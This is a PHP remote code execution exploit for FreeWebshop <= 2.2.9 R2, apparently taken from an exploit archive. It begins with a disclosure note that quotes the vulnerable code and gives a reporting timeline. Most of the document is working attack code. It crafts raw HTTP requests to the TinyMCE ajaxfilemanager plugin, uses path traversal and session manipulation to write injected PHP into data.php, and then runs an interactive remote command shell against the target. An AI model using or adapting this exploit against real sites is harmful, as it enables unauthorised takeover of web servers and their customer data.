get(); 41. if(removeTrailingSlash($sessionAction->getFolder()) == getParentPath($_POST['id']) && sizeof($selectedDocuments)) 42. { 43. if(($key = array_search(basename($_POST['id']), $selectedDocuments)) !== false) 44. { 45. $selectedDocuments[$key] = $_POST['value']; 46. $sessionAction->set($selectedDocuments); 47. 48. } 49. echo basename($_POST['id']) . "\n"; 50. displayArray($selectedDocuments); 51. 52. }elseif(removeTrailingSlash($sessionAction->getFolder()) == removeTrailingSlash($_POST['id'])) 53. { 54. $sessionAction->setFolder($_POST['id']); 55. } 56. writeInfo(ob_get_clean()); An attacker could be able to manipulate the $selectedDocuments array that will be displayed at line 50, then at line 56 is called the 'writeInfo' function using the current buffer contents as argument. Like my recently discovered vulnerability (http://www.exploit-db.com/exploits/18075/), this function writes into a file called 'data.php' so an attacker could be able to execute arbitrary PHP code. [-] Disclosure timeline: [24/10/2011] - Vulnerability discovered [25/10/2011] - Issue reported to http://www.freewebshop.org/forum/?topic=5235 [15/11/2011] - After three weeks still no fix released [16/11/2011] - Public disclosure */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die( "\n[-] No response from {$host}:80\n"); fwrite($sock, $packet); return stream_get_contents($sock); } function random_mkdir() { global $host, $path; $dirname = uniqid(); $payload = "new_folder={$dirname}¤tFolderPath=../../../up/"; $packet = "POST {$path}addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajax_create_folder.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Connection: close\r\n\r\n{$payload}"; http_send($host, $packet); return $dirname; } print "\n+---------------------------------------------------------------+"; print "\n| FreeWebshop <= 2.2.9 R2 Remote Code Execution Exploit by EgiX |"; print "\n+---------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] \n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /freewebshop/\n"; die(); } $host = $argv[1]; $path = $argv[2]; $phpcode = ""; $payload = "selectedDoc[]={$phpcode}¤tFolderPath=../../../up/"; $packet = "POST {$path}addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajax_file_cut.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Connection: close\r\n\r\n{$payload}"; if (!preg_match("/Set-Cookie: ([^;]*);/", http_send($host, $packet), $sid)) die("\n[-] Session ID not found!\n"); $dirname = random_mkdir(); $newname = uniqid(); $payload = "value={$newname}&id=../../../up/{$dirname}"; $packet = "POST {$path}addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajax_save_name.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: {$sid[1]}\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Connection: close\r\n\r\n{$payload}"; http_send($host, $packet); $packet = "GET {$path}addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/inc/data.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; while(1) { print "\nfreewebshop-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $response = http_send($host, sprintf($packet, base64_encode($cmd))); preg_match("/___(.*)/s", $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); } ?>